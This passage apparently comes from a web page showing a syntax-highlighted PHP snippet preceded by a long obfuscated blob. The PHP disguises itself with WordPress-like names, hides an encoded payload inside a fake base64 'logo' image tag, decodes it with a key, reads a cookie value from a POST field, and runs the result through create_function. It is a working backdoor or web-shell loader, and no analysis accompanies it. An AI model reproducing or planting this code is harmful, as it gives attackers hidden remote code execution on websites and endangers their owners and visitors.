hfULdi6KF7NwMOPbHUyshXqG7VG8cMTa7An2S2u1ROtjv0Z0h6E+fdjPozF8Jx6OMmEtLsoZ%ij4fBbb%KLTwSEf2HxSPQTV7aSHWP4cg+34FLsWzoLwN4PkuD2V1a1sezwfHCcBr5lVoHZdVfnaqcgtWX90MmkbVeuPTZj0eFrmr4ekMPC4ZhIP7zTpLXqIQkCggWHK4J7x+3g+PRNGjgpzIWWqnhqFWSp3H5g7bXoZ54g8Cu1uCAgIspACR6FcGmrDLmeW1oe6cOCbIz5M1DFlWaWho6%ZwxPt2bR7n21pSUEh6lQlsrvsd%quWOdifRXAtHytIRXs4x6ZuNOMfv2pb9vg1wieuDoUIeD3SWqkRNFOe00o5H%SENs8nMHGLVKYuug4OxJqvtw1wWrmOzQgAHp0FGbchWHJVhgDc1cptraQ7ZGxGiXRXEkWSJfDSj78FG%Jy947oIVfqyVdIx0YkavZllA6jkFrzp9Uv7I1CGUCgDAWcygenYLGr497YoxLr4Ml+8NH1vKSy7Jpq+%l4MP8o4fzMDBm2Dl0xbC0zunJ8ixG5oJEZIQ+ZC+1WfXPRvtpoY1zUgk2pmHAcQ7pnEMW3bjCl5kXb6koTfJZ2wCKbGF%lryVPeOkGi+PyYQUHlqSE3CVYYfLJ3qjKFGqG4H%PZR3%gzppA6LjLiGt+BrsvZGh%7DAeedVskFDgJK%5nscCrfUNNOsnKni+BNrEA5oS6zSxp9vfz02ZUVZB4HvfZtDQeNlqbqPONSYYNahIyddnoeEEJL0JKyLvmOnoS1RFqksWqNjNKsenhDELSZggDjs+rpyl5I2sG+6EdGRO++mW%4EzruSFCOHnPg7cGPmKXad6oTc2JvdjrjUTanQuuKiBHDwh5zh56nKPbELLc7XOQzlsa3gC8XijIC%rYt5C8OrKTIrH7XC3YWKyg+iS4suK5Wr0X2FxqJDyinAZH4kIzVsAXJBQzwHi+JL8bxfc89o9QPMPmV3jyuJ02Q0uN8PttV6VeEncmnIMxaD7uoLlaoyGf8y0c3wkXnhFgXn1aG7NAwK%L+25znZ14IaoA8oDL6rOV7sGs90nGIC5wLuMq6h1k8LCDZnES6WrWPfYDq2ITbhmyeFXciu9KvumO2L6WV%WGMGfZVqLikCxVaBzSdgJCtpJLU2ljNne6tO0n0UcCDEIaSgDws%npcgoMk9xF6TXnuAGAkyScEYNR9WuOrSdZ38VR5A2knt%Uk1RCVzltpUM7S9OywtJnRqeVHmwCvmoE7NVORyfTEomafRO7KyozRcPW1pkPbicxAv9TyQXxTG5inwrsWEULQPavoGgfNxIP9cufig%9CgoYuAr7h+68e+ttm1sYQjW1GoVMHP1EvstY6dQkI+9e5hz%FwGGF05OaHGiwpPC6bkRmrrpl5uSz5%0TVsx6gAMDAb4Teg2zO6QAdZSNZD1MR394Y7q%5o1HV13Vg8xhyjkzGgz1MLkQ13KLOMMM4x9wJc49bszVRdigLpb6FzOUu9T8Zyh9%iiiVuvn0NDxtXmKjI2yubTBRvPa4IHCxWX8r5FJCJtD7aK+36xh4ubeitVXr58HuD1J2KsPH2n3%K+qyxPzAgVzSkj4GUYutVhpCjvkz3aIJB9z1lhZQ4puwrCSJ60YpimSM37xp4bqRbWI47Vq7sGkQcuizRwYRMH00YCtpIxnO6nuHYaa6BjPVt+5Ov3eI3k4Umz+VYPqJp1CVBe7CdAgRGj2kK%txEDxFQxHaWfaUYx%UAk6TtjEEYVWIOd70Z5Ct0WSBFlntw11CU791tGX6kjPmpfQ0P2bFJ7opW2RuJcQu2dXLoddlaPGJ3pjNTCnFdZZNqlj3oQuTirsTpuAU2Y7G9U3hvtmNbsHvbdbOFUE51uUY0n8x6zsbhDFy5NfSnq8S4by6fu42W76DksFS7Hqr4iRJpMVSBxYJ4CBwHftj%NLkzBEWTzOAuOyufTn9ykt4Sk23dkTXURg+DePeBvstPYp6xTYxGaWLBUWFry+F34p86V3BhIWJqMHKJl3HqpEAkYzAFVIRvPAM0pF4cjDB3+0OqJSDXjfWjY3qnjCaLNp+o4ic7rEDxNbWs+I9XKpnXmG5a5SW4uNdUYwv3olFOP%JyaiBn01++Zbh%EPrbQLZKKmxFMJnUfbex8EJ660wP5qIacXaMtqkuPMXhqV1+GZ9kjyZtwybSHhZnr54m7mktvKK7Ei4u18FS+jG6eZ2rvVV+tTrMB38noyx8KQR4ZhWPYiEnnyUwJV0dPt%HSU4WMOwwRKNBTlI%BYfBiy0APoYIIxAjiifBcozxO6Is0jUJ%AjdWV0ir6gY2%Lrm0tWwgRoIAzKfAHROthxEvRgUHB1nteNBBeXMAdHIBptKFqPK6YIh4nszDfnWv2mdgRrpGu4P0OyM9arwHUGVD746EokQZ3%+o%yMMfCeuUqSU2I627ann%l0pDfD2z%FkVyx3pukA3t3g9bC1zGtrU1PWSIbRsM8yyVfuvYdmFwawNoNjSY56+VgOwngvpL20MaGMt2hwqujEIObNlSRmV6ZRM42sv84AabyZNhHPKM0CvrS6RYLsvCvIspJ7r+AoqAkq43haAh31TlGmdAZ5WW%MToWdnO5+Vn80rzsLl2pVF1dSGeQBLcgjSW0%7IqqyFzfaAJg7tBZlEL74wtPcfvHJz2bfMtilcKbrKFmUk6PTkmyMPpwjpVn3t+7CtauPuTLlVHGIoMc9TI6rGqdgOIKkZlm0I2ZLZSu1+lHXBVf4ILUe3k%PaHV%E5ghP9j3sxppnW7ZyXG6Jm+zhNGLXaxHlNXL19MZZA73XuR3hU63nL0o6JRlKKYnzGzQWcaO3Kkx4A6uiaiOKYl+JJFBJ2wqU47AkSatjWfz6172vItQD4Rxq97PRm90K0y%yw2MULb4bLF8H6YLMIgrmsNk2DLhHQjUy77LzzkmxlIh4E0ra31xakXFuEo5jddGABZxuGmKh4jYsq0V50Qo37liWS+WG%lCPkm5eBlBhzRxyvp4Q7D%dA02idt9jPebOdSuw8fS3icb1xMzo8JcZw0gjieRL%AQgwOFEEhY2pOwC10mVxs36cFu4xZqd1IOr907ztRGlwJVUWWj3PNaOg%jMmcZ5VCW4ugLGKQV8SkGKOKMvSArZLmYOYEvCwazOrKIRTViQgHpV1iw3XE9CNDuuMp5NddpVFAGtigsVpbyscA107TZKvVwz5wo%EKx2M5nds8u%oWyh+RLbbgCuTESLBD0+EqJnzLjuN6hudPj7Ox44cQOmFRUFciiQSBIX6%G7AR8kgqemNZZUXDpGDI3aA%+vURvOCFEKYDaFTAfS+TF3LwM70ZG5C6hm1Hf0Ghn8qgQmcI8GjmRQUOhh7eiAaOIPWBsohnza3btzoA00UEGBsQn8OzS6tC8x4UHV9AsxpUqhZYnDSwDkL3u9tQ+cWgTUF3s79NcWdn6+ZHfTCX7PLlj8WGTtm7lS1zsL1tzIvAsB3lKMO3iWNpBV39sfV8j3gHKtYqa3SXVGnsE+YEMLh+FZQKElhyWKU%9MRdE19%Mox3jKtwIf9OXVEhAtnA4mTtVEeg0zg7a2FkQ6QtwjZKu+Dfl+s5mgjImuImvehrp5ea3p7OAOXPB%l5DXsadpko9XNHaE5lpkv9wYk5X3OcBQfIpC9pwyglv0mlvwN1YGB07pagQAybRFZk8yW0+aHUFUT%TK5Nk5wbLsKhr54b772vVwE8FdQyEeyjhbvmTfhDej%GkDPwBP8b6ycAcbTkcG7V7dso0g9Xn1hr6uNmEHlGjlnjwG4pJBE+gU3HmjEWgj%oH8dFseKTu8Kn+WdSvkWSyn042Nr3zzrtmUQKTp67+ZVScovJ9Hl9lFwfyiZ46ZS4SU0C+jkuU6ij7Gr7Ivt48ZlBvTAr%PKnmPh7A7uif+why9+joSh1KtvmFmjj7qVS7EOud3ZIAkrCowr84DzX1mqP%dZoM2C2YZsq%ozPdeL6mR0Xpsy0SLhU6iFSkJwUKLqDAbVumHbnRJgqzjtbrLiPBr+37UXgbgABaq55faoDtzeZHwJtCAyRP52uAn%sd3bUZvjeCReKWIJFrq5k3+%RxbUpzG1UmZM6Lp1yXj3lgJtLAP3gsCIbCz3Owf5GdQNPJET1RRB9L0SmJw4CLXIUK0ORg1ZI78zybQgoKYaXKWVgfCveOUM7MrhjQzDjSozF1OcATBpnBs4LeYpcpsnyNOODGTYXeywyvKyQYlOaceIDpr9Bt1BegQc3PThqwE78wNdGkJIO2yP4+psOQ2wj8++FqcyDrlz8AAcPfaHtkBqAxeAzs2sfSjEBN1Peafqdfa+RnrfGH1QbKvK21hWNPE0pB5Pp8QZOJ1xJNLis5KCsE+hwqgX35VcpxgAGsSfevt8OlTDkG5oxGVVmOIfHbvEh2MexpZaKXijyh%1I7u+AOvs%8DO24XDX8yR8H55rXQ1vwp50w7dV1U%Q1%wQLc+MSaLPddH6dReTRW++BGyEZFRdRaNdriHN8ex2beYcCLfU9kX06ACJsX4fFF1wJvrfUFgL6baINncmZIRt+RX6XoCwbh9VzI%YFkJDKmcADklHSlJb7FdSuhA9ceA+HsHXho84G8iC1c4mLRuTB5PxbSUd9Wp7LlkQq+AzA7fYmMxzVj%Tm%Ph1QsAcD4z3qSVwdJwQFNuM8fOe8aJUjmB49HjctrzK8j3sGrzyc8Y63zq72zmMZ7vRWLvVcMLVQLJR5kgbHDLKSHjxUgNsvZpQ6226fvY5IEJPpI%tRJTHs9yhuxA9wp43mpqSI%kPdz+HR9Sidwj7Dri9R696BfNzNTcIQFZfpQarJX%jYWN+6OoVjPqHwO0hg9vS5aiBPQeUym2QCCACP7+LEPaqz7yFWLSjbpHybdD2p0uUF7ybg1xxmp5%caDohH3S9xvRwOEjfAeXJsJZExyNHMeOS6%qCIsiop91Durjd+DUUIQ+pJT70n5Wmw5zrInekjhgJX42Sv6Y46Z1GCKXeQqjl6zEzxKHLzA35Skf6CQbJDeeNZmWMXRnkwtn%DYnCQ%kp5qRo+Ofztl9JD+tSOA3o8SKiAGJpGighv0sEpdebMnHWbsjHZ+eD%vMDup8454aYBzUvYtIpdC6oIQLSHYBaqcnFCtRXAQ7gtAkFHd0J8Eb8vMxImTm5u7la3WUwXVwuNKY7sSO+nqImLEWRz4vyzndWweYdugzkD6Asu05ehzMXw4bD7e19+WyqZZ1s%hXVb5uMf6gUaC1ZTtUfsM+eFdzmcDNc4jpQmWVIJ0UC2dSN8wrmCmXf3w5v3GDA3SdP6CnXQfJ0KOGda6F7LCFQl7ndv422zL+sCSFHXW5RjB2ctvuiyqfl8oONiVIwrtbZsXsoRyWQibLkCcaF5g10KcwQ3Bs3whQlPGiZBqBCtuiOJUet9HBkoAdFyiBtyGllgoj274GGF4LiJ7%KolcA7pXTmOcDHwgnQjdfqiPPrsvgMJ4XZShBCgzROTqgGXaXWdzX4IcihTs+JZUjniNtk5tJHgczBHrzMax%TGt8DZVIxjLoBf6FjQElW3uXhyeWjC%6lbnc1b%uD8eXnZGimCqBVGv+TJ+hWZDTdUP6hBWzYuv%JzsZM3h81cofPztwGnRLbnC3cjTXB00pNk0X9w5h9GZmX0kGFFG8yTTVXYDfpU0aHan5Vrl4MBKuFCkvvDmTUVZAuXooSh2IiDZS7NNAguFBqU5HWLrsWkLxgzDbw1z94CGUMUjxCtr+4hnTFs4GB3Fe%ibQfC1wZKJDeiOc3QxfkokINT9RRSW%Ci7HaXj2JxQc73ijmC%FaAzVpOcjoiH9Iob6UYxJlk9UeQXFK0CM9Y7utSlKRiekVCd%MX+GXZRnPdawAUCfhs4i3yY0fA4VU+pmLhwEtE8SHn4njWQkwS%DT1jJaPd2IVY0RnCZ5nW6pQP4dx5M3ZRd5w1G8mjs71MZHD72WvFEZ0v47o+Znqz4RuNTMgUnBPcZCjbJ0FR+GoEbtaWcCC14%RijUYYrBE5FS8o2dyM6izfDINBWwsCoXJzJiruHfRlXuuIJtYEMpFnYPDfo0S2cLPCFcYJB+2kho0jqQWaIB0snF7bjwJhhPjKjjitUAr1eiu8sNVs13uyC89ATJMaKsREZt94CeFXnUH0DDyBb8CpApStQqlNzx8eOBG91kPp0B13+dDRkh0uPE3KaYVQWBvR0yoOWAH2unSnVW1qZxIW2PUOItsgVkIgo6lTuwPHe%wTl3MVuhZol5Gu%d+7GClAfoSaUMCUtQwwBfIzNJge2117q3qwSU6ZRzirYOBn+8GlMLPV6ZUjwSxHcRPRb2h48PR1zQ9uceVwakQa3J7uBXP%eUEIM+0fzr65YLk9TrJ4Xt0TOKF2mw2S9FCvBM2tM+xoheBEuvQR71BIaMfg8aMNpzgBTKZTAWZ5vaGWGhliMLYYoHmZdee96K779U7mW4lUceJrR05XKfiUxB72VQ3F6iysvuxqdzXh6czh85KatqTjzaEBf2Ri5rtmPT+qyiIF02Trj0Q7ClJdx2hfJfJ7aZj4wiWyqXD4EdjZGITAGxEP0uFg++jBNmQDMTNKOBfJNLpqNNETxLmZ%47S42sMzPw%FoV2ImDf1zuKHQdnfE%ww7M3lL0un31bodpeqXMffG%4ihcMpoCF+JAPqwnQoHa%GWztOhMrSR111WYgVzRC%t5EB7E4kApKk0QIpDyr6GMig9hIuTpHBxR6nTGr9V0HIa0zGL9mAIIlPIP8ti0ekH2xnsC5libRCodtVImUXVMmfuouTjaioFHplnFy8eMWZLpHYrbk8ez8dj%zZE7wRZb0XwqDmvYRioybSopmtiNnNpGohd8FYY5z7Wu2ChzWnjLDIHuXtWJ+kxOkQIz0x7xhvkZAvfTWkZ3zcDAGcfyZ5KE2FDeEqONWhhe5wBaytVaVy%GxyFyrO7d1lxj%GFE%ssv+TJf6KgEsE7B8dRDRzP+5ix11Rk9OIP%lXvgQH7wYtpEKssv7+%eGBGf9kVU9UOD0eyr3520VLjjn3g8HSaGYux+ZUjdryjxE%fMwV%t6p32iGt0WXLnTioozxIfiZuDPScRZ5a8gPOUzV%KTK0Iu15IBiDZX3aiWHIhAz91YgSWfjAbMq+wHKQw9k2YwXIh3LOKh%80+milgVpFVR3cvYPLBNUDUeDIOw%6NW8bol%tO1TXwxyR%SyeCGGb0yom3J9yqpCpxG3NxTZLnsoCY9AWHwGLLWmGrqoGK8dGpGr0VXgaiBRPTIV4txsfT4RZxW8UpLlFJdVBE5+qOCrPTUHSYqRkYvq8C2dpAk38GMOBKFZ4ondbi4OFVUojyUo6nloiuaioffBsxh0qNNqYHDaP0REklbVP2W7qU7DyV8TV2EGJbLUizkUegilUVwHeSZNntRmN2CGr+cTZgcBTEwuEctFsDhou9ygRUednglIM+ATAPnaNzg6JnBz%I3c3d%41riDWGWqpKOVOHoPk5RSe+XtQvnNyL0b3GG5Yc22k3nwZueCUF3d2IP3aY3c18oRCuE8de2rzsp0deNUuT3jpRJEAPBo+LRPwLCds%OwW9Tf4PNXziFEmO3zGCBzp6VPyKm%Fu1XHaVbndER8hynq2Oghm1M3BwhA0JHNEdoFnnVXUSTnrVT7R+GtbNjGuZotWDSxPQiB4zIxY%0TakBM5NDpqhjIhQ5W+UF+3grEN7psqlsGNlmBnl%UUAeHbfAHqAXrrWKCzWVOWGiXrRpajiqHXONggjP8hWbWCwHY%XrANe0NQiBd2L271m4l3JQksDLfUEPDjgTZ2kUDpiurjiH1wNcZkk9yUXBUDIWw0NNS3Fn5xsJ3o5H61dPsSfevuapIbRvH6JYLNRs9vqZMIKivp1Vsx9mWJhpw6Hc9LPlkJYmAdvw30Uha29JrJIwWyMF63bXZoJym40JhbHOS%gOTdwwLN8yjbabXMnLclLZ7e1dW5ggVolKIMc1ee74W5yTv9bouMJUT%Ns4GOV6nevH7WPRNpEHvKRZRg8II%C1r4fJf13CQm5qhl+YjDnytd02e6dE41RHGS4+TnjGH+DhKa0U2xPs%YHdknERkw31ZZ0JybdA%+Swzh0vnLPwuzYVOf7+TlDLy08SqL59D3ItNAapsS0KXCCNLqwxXXZVjZA0P9qT4ueQn+o49XdPy%kmcPouvSTolhSoSgz7mRfDt90tDK1H%G+pCeHvF7K5S+8IiEx8cYFifyv5cnt5gP21626JjXlx%pcylWEQgX8E0FgeDnyz0natwn+CsbOoeb81VyTZk8rpwvsNqodBaPlVfe4erSEs7SbLwfPiJvttI00prgjZfAIYh1WuCU+SDn%%A7NcPa397oQmCw9bAw48aHUaAl%tUfzZE906VFi%ERo+Oqd11MHOSlqDDgPy7ig8pGznW9Oi%MwLnCWrP7dVBWxAeebywJnxRYjPJa7Rh3mcaPLj%5mGeduTTE9HL52Wl1iLwGdeEMB58+lQ5S60YMFkTOZEE4L09NBfZhAGBZIJpJB%BIWOdPw4vQALmfHxqSwfoJ9y0hcS73EINXMOJn0dTQYLl9FuQ11VlQL3NFn7fdj8%m+%gLQCMzr3eqvMOxZ+7rH+Ud20vdMfX9eyK%5d1HdCugByPIb4MpXwaSOZxXtPYs0xA2159Hh7Yh2%geVKowSuP9tBKmCldpXRQW5ABAp96E5b0qLZedGQa5inQfBGDxFYEGhStqdap48n8Pp1wwOwNbQil+fwYgIN6jv5Xl8cRE5q++uNbnQBmodQsQJ9v+ydFQyHCzQ539u7M9vnZJwNaelPJY1rQMBAlaf8PV8xRH0SHyp1HkcgJp8NE+gydHODlIkIaIre5TH60B1YGDRt8s%4oFMMVjvdj9IN%edkrvDQerK3dlUjLonBxW9phnHTat4TYnVPuTl0W1yjakhxYZJwosQmAd1cT0GRtx8edhpwXthAnXddlOM7gd1F8WLI21ZmogxZkdXFG5fUaxb4yS+zD1bM4uuN3NWrcj0EkisXKNGDE2xJStI2hsQDejOZT+866GGAFCJTHsvaZjvppT9MXBNLoyvUToUEIjgDhWYo8hocI+zulZF9CtX3y6ZsfxkM3fV4soa8TqQl3j8tfMPxNzdtqSU%eIVTQ0wHZWZrlM3Ib86pkZVHUg8lrImrHjnvzMb+iuE3dwLH0D3bW0uivmIeCPyN8dkn7TVek3p74cJbjN+8%X8N2vUlwUxA2qcK+vBZ%8CuN1Zcnv1U6yLfUX0v%XthAP%YdDyg8UIpfdzDssx7mmFx0AQZmWXG15R72u%LBFqCNGqOExWeA%wlPpz3XToueNfYp7F5QPmxNzIqeBMkc+iZUClwn50x+Cd2Aee+j0mzTQ4obJ4oxe3hF9dOxoENdh6JSycRuUmFFAVJlDNvgWfoKdKdC7JeAHl8Y14avjlPFcLV03ygwVAdsvIFzpx7vLr2DQbK%IiNKcJUaBLtgVJhU9amiBOSJBKdvKBRg%vhKic%0cauZyVoEURVTi0hAk4YAPi47%SiNa+RoPHY8cZ2GjI0q6TPvABNElvKvJLGrStiGuyo7THYNLwG1RH4AQ0EwMQwrFhsWLWa4ri%F2WDOn+FtRAe6mr6Cj%YRE93TizhfSdrKEE0hxbYa1jBciwLuuPrHKpJVE%a6NmogvGGZiwRcOp6PT1YKh8+Rqr8gRduBCQrzATPPVQ8hLtT%n1cYNCLQdvO7QXVvuIM2LTzuuA12OIXhH5PXVTxOM4nDly%FqrJC13MsuDofeEjew5RramLCS8GObtVY7wE4VAIaWZGB5fuF4RsnzKaBQh0yCtlRUEF0efQxEGM9dy6pWZBxHkevkZn5AawGlmYUAimAoaRh0SPWOjlqExX0FWs3M2FYRUWFxfxLo0eYm9zo3OF3dIgfRHmCxqTOMmYNy56GnwA4X9fLUdsr4bdM1a3SJY7avn73ue+wOyoVaF5+ZqY8D2HwOA+mQc3z3+7nMij9v%KkEKSn3py7EQ%0b%LG6KeV+8capwJMP9YjQic7XBRqSdXWsObBiE6qk0OFMYJdr4LkKxQMwLvrsFqTyrIQF1rRGII7C4JG9NunoILrYOaoj8d2Mdsx4hntWgBdge2ljq8st5Dq57eMJVUBwG1ZrCeAptOgO8wfizVEw7DZmJI73JX9HSiA6UuP9jPg3qz2Tv%PmOFkUUzK%pwLDPfMZKvn6j8ErMgZ9XxWC%ScPBDB93BWqS5Kp8UZ2mJZz2gQjtYCoY2tAHzzV4cSipxJTokFavBllk7g+HPqn8h33wzzZNoTg8F+zfJJ1iGSRTc551p8pbuhO8d8TND+VVDYOnqdITjgQPJYdMvXHAldMUY+k0yUtyFV3XOfAVTAlY5CiwiiBxBA0mrWXVg6fFbj1RQ7KedKmaWEIrFvHIRi17dQd83hGnZ0%UKoehnE75kjVXyO6zzlQuBc05VutEPzqMLG4uCBxfQSPyqBRAbP5AZ7FKVGMldvCLCcaIBuhSUXtAiM1GMCPu1zlj2xEnjUmXBhZu73mIHIalkbtvho5hj+S9DVxe95dXgNLAAU7Y%Hfp+jlE2ZJv%XQKdnehJlnoWD8i8d0D+0t+p2EPjH5uSjkNDYNMrrP+ix+9YPV0C34Kam09D88BhNKEXO2CA%trSPWo+MQWtRJD1BPaKv4AcacgpR2qCmEsTQHmTDjFg6zQeZXbOE5Q8CDF7pXPZvHm%s0PIItqQlCaQhJfaeBZoOaXIN0blq5ZqwbIXvprMvxS+%7IXpeWlb%4M4KjTTCzpFflltNhn9sc4yHCnQ5rgEOlKAwX93rJMMypDUR6q9UYCIpSeBMvatRl+dR7txgC8FKcC9afcyJWtNXNT3WiVBBEvA86zfROI1APcc0dOQGfOL5GLAJABncAM7e7gxS+KU%GYoWkC4fv%PF8ERdwJ8jldkjErvu2vJvhycgilznNjdgZ2KeU68YH9ON9ODYoAqyimYcjdd6ho+n4ImbgDnSycrWFBYoA5fessyl+UXuiU%s8CE%sPbzErUdJckvhza5wfhF+KJLSpDI4FE2klymbIndj75hiYTV1oytNbSJBjaWTWL0WYsT8CqNmSeDf9GYG3m4eonFvgGHdKIDicJ5udIC%gfvPVycrbKe0b15rUzKZEHYuXdGAfV7rygCc%Q9xDKK57kCVY7YbdycZSaKHuMEzWw+SePxxtWM7WJ7nSao2WdEW1d1FBV0YvGoNhF4w2+AyW8j3RkixLyxpKstSUWAwmhPdIHy%eTjBqTh5kJTQvMnuSULcAtLj+ahD2hScga74aZJ5nIcaVGAZDc4RHx1RpN0gU1AErYPebHP1LpcHywyKEmF3%xzDGSGbn+FF3dAPDA85fMKV1xEfjqFh%xYfEoOGAfgJaq0rYXlDDusk97mfp5fQcMpHKlG%XQvq5nZlSoBHZMMA2qgDntGeGlfDVRzn2JyR1%XW0MJ7AxRnAShUG9ePAmQ%yrXqQJjoAYqG8NG926Q++dkckp5i+ZLEZhiziXlEahUiW49w5GzqY6P%PpuwADr0CplJ0mOPiO6oqHLW8d4yniGW%0mn02jExydF0z2%SuFRKN1AmQqNCeST6E3rpzQmvLitfEksHTwvrL2N97QxaZkD2%UdCGsfWoy2TTl%CWZ1XhOfJS10aF6h%SWV8sJCbuM8Ry3EcDaS+xNwV7D2P95yKikA7CK5+iV4mVS5zwkTV%Bz2wYpxzoGmbL0YPXKEWl8PE8XroGC95TFQzbQfjbYN1EHQ64Ib4fE1NPCT6wtQnfH+dIfn%PPI4%cgfY4nGcmBEhwJuOK+2IGnOrQuK3lOD+h3C7Z+cwlyoov1VyjnvCmLYm%7QjO8dfAYbx6xwaenhPVJ35uyBRAayKETiTj9QqEjUctOamg+XkHZ0devKzIQwYeTQyi%JKfKAvCCcFmBYlRYn6tRxq2zvd17v00z4h%CAQgKLr+fSB0C1bemk8%u7I+7fExZ8jq4MJEWOFmo7aa1jR%yoKnEwGzZvx%EYtaF71n68p9pvBbNbVKQyEi4nnzRIQfsxWnWAme69ekhIvYKwy6zhG%%srzerTETbyxG0gt6dqukwj3WDq5DhQXyXXZ0dr%Uuh7OYEIHjyB3anDL5Ukgk7cNP%NpAIkqUpzDjjMo4I%thq1A9q2o1g6WXUF2hf5903R93dVqmFBXjJwRYidv4JvFUWy7etuahwHXH6uWWQCEC47SkGe2MSELfZAp73sXYymUXm3VRKMvssWZ2RxImTjrjkg9aeU5u7VRcvRlztsQ+TYJiaYDt34NULKBbheWtMBjC5KrnLCKyHwXqCG3IeTrv%aAz6Kq5C3eKr0uthNadYK6mlq6b3Eqtudz+vbKzssphrM6LEI1nt2mHQsgjD3BD85oF6J7FvLBSndxwi4gCsGNdpbrDtSDNKFNQeODmWSTa5VUCuAk7HcEgLcGtoWT5ZC6t014o4U+lvjYqFqS1FMWEataSD8N1GRLnShwjAZEPqMcgYGTwr61yQioImriy5T+bVct227JKV5+ujZrR5am1AU0iHvnbfTcI2imFIWncBCbnAEq3FJxp3IkFzpEhmrvmvt5BhoUw++HbqeVfRnQyRTz9GZkIcYcKY1Wtvi7UwV5Zkmd8s8t1P9YNJZkksRpu+sY6GlhmuJUAcV+I+7EZQrBa9Yn4kc%8p8yj6oV+UGpFTAcR47Yog23gZmPFWQL9DoWG8JJlj7UvMlocoubDltF8v8Plo9LuI4+kwU78P0kGjUJW8UV%nOHCuTI4SBGpCqOeAbv3pcxx6T5wSEvLX+0X%jBNio7gx50lu4I8x4OVRbqwiDbyyQFNWROF7IQH4+vXhKzaAjCEJGpz4gPRDIGtA2ilEUh9xqxeNIDTuiyrSX2jNWvBDfN2Epvn2H4WfvdZ4za2n4ec4nSSo8E235Vw2oaUU72w1pCj3Q5HLdPl5Dp3eMwHHV8o3ZeKogjd9Wzh6ipAf3BFnnKdOTQ+3Fio7nbFlJzDCfjnR+APaqwnVUw%RP1OE+qQ3h%2x3M72uV4scEf2sVmCI9ojggRJP9B9B8jyb8bb4AIIKYgHUEdfYCgNbrNqnBiYHkB2BEGLNzXXZC6v7fraQY6Gkr0AR1BV8YBBk9tgO9mpSQI1Kurqw7DWF4q3HelVj0nqcFCSdE4hxcEDO9MMwq7slfr8PJb3p%uHaX5pcNo6CGwRP0zZbkeoYtc2kRbjeZUs2rU8Y745PE2VviRPAahr%52%PGbDYzik%mq87eaeQQos9beKeustGWUWxi96VmqOwGdNpmEi+LiMcSeDy6tcaVdXvxQJUQYs+0Q14N2%2M5JYhWwHjfUdzkmPS3CucrpVo%xQHaeXj0N5xAtnmbYEgLAmQjv4%N7bAYYIsjVauoncqP0B5aRVAJ+lUwJ6AADHaCwrQpZnz5kGcgqygMq8AKbSTJoJgAZanqiWUyEHquUkMHdNGJ1mgDx1azqFev4fR+fuXJ%cFNVDwYVHg+QVjhjP+sIVd4q60J7oQGrGMrB10evq9qu2FMgieZUiYsyBybLxnz22Xv5eAsOGur+XW6%jwaG2Ks%5u1tWsnysMpIEYv3k24d9sq9UXtDYq7nsso+lhYABu3Mwe18VuYcqiJDoBqVLvk%FFu0UhJ3I+ksKAHoqEFNDFpBZ9ciW+F8fjMbX+XYF6YFJJoFz3HK1lJ3v46cr2PNHINb5bnCu%HJh9FeKoosJlvAyOjP1FuzC0kopDcsSWHjMiCFUXK9VCnhINe9f0b9sOxzDr0NxzQ5sd%VPDJhTqwISQStkcLFH3mQwZjxYxTahcdOgPIDwr73H2fRMXwFEFGfYR9YQQ1Be+4FxhW6yL6ckM85SLnlVOpslUDerK%7xtcmVxWkYr3Pf4nsBIBPg1HTE%pz1qQejKouz3r5h6KGHN8xcYN3tRNCCk9a5EgSVLE06qU7UIuZ2t2BA%WWrf0lfYnLsmrx4dxDPuylhycFyjTnH0GblKQp0ByKWR%DZFbPw6WflqPfc6aYY03RDPeJgwrdaZorsY+L6UtmBA+H2tr1vg94u1YRc0GRCkOGwgtJ62USOKiMLzZVb6KZCZL1RYnWqFJpdNZ5JUt9xUqVJH8mB5UpWzgIMrwk5l6GNXQ2v0LMlzMMDY5SXB0ND2t+pdu42nk4UbCyDiNLOqj0GZgQBuCqjawtt9fuRFGc+UXJCX77K502hLxb3VOHHDF+lyIiwdE45uth15z81GSzjM3%RvMKKjnoMHEEip6iZgG7PjlThiwWre54O0FVaRJrDTV4JPI6fvhey55P1XbhJX1UA6R9hY5UqMx5Msknw1gUsoohpSoEPYR7GQimZSpmkVUUqyA9FAr7A8RY%T5fjg4UnQn6dbrecwctFBXvx30p8ou2M09kxeh4MidsYHyHSDdRSm3FgzWXJYkCk2yiyzTQPEoBCzuo454yB8odKb0dhao0PAutvqQS1Euq8sHib8qmihtsMWlRAYiBPfsYl8PsDAPyLLBJLFxSmOys%8gPDpGzgkMwzJXtqy%o9PSpQoY+Q9K3sV8jZ3AcLEHCWlzNo0lzjzk+tA0%kL6R+zvMKCW9LysMu8gSMH4bTpnHYXR5ZbRncNQeAIMRg0rvlfzcFXCADX5mdQ0zk5KUKl51dVPMjfkhRmdIOsjVLUP8z9P7qgcdOo2C2C5%5l7ji9T24h%taPnuAc8MQ30h%CJOsv64Fr5XSREfIACjK71+HWHFuKkkTm5HmgCihFaI8DrvQCzBjN9xgNx0av+jc8tefZLdATeDo4iGjF9TpQmHCULZBGmHevnRSqNYJMGwSoPcwOXMdLxGlM69l0MMIfk9Q**">'</span>;</span><br><span class="line"><span class="title function_ invoke__">preg_match</span>(<span class="string">'#<img src="data:image/png;base64,(.*)">#'</span>, <span class="variable">$wp_default_logo</span>, <span class="variable">$logo_data</span>);</span><br><span class="line"><span class="variable">$wp_kses_data</span> = <span class="variable">$logo_data</span>[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line"><span class="variable">$wpautop</span> = <span class="title function_ invoke__">pre_term_name</span>( <span class="variable">$wp_kses_data</span>, <span class="variable">$wp_nonce</span> );</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$wpautop</span> ) ){</span><br><span class="line"> <span class="keyword">if</span>( <span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'_f_wp'</span>]) ) @<span class="title function_ invoke__">setcookie</span>( <span class="string">'_f_wp'</span>, <span class="variable">$_POST</span>[<span class="string">'_f_wp'</span>] );</span><br><span class="line"> <span class="variable">$shortcode_unautop</span> = <span class="title function_ invoke__">create_function</span>( <span class="string">''</span>, <span class="variable">$wpautop</span> );</span><br><span class="line"> <span class="keyword">unset</span>( <span class="variable">$_f_wp</span>, <span class="variable">$wpautop</span> );</span><br><span class="line"> <span class="variable">$shortcode_unautop</span>();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$wp_auth_check</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure>
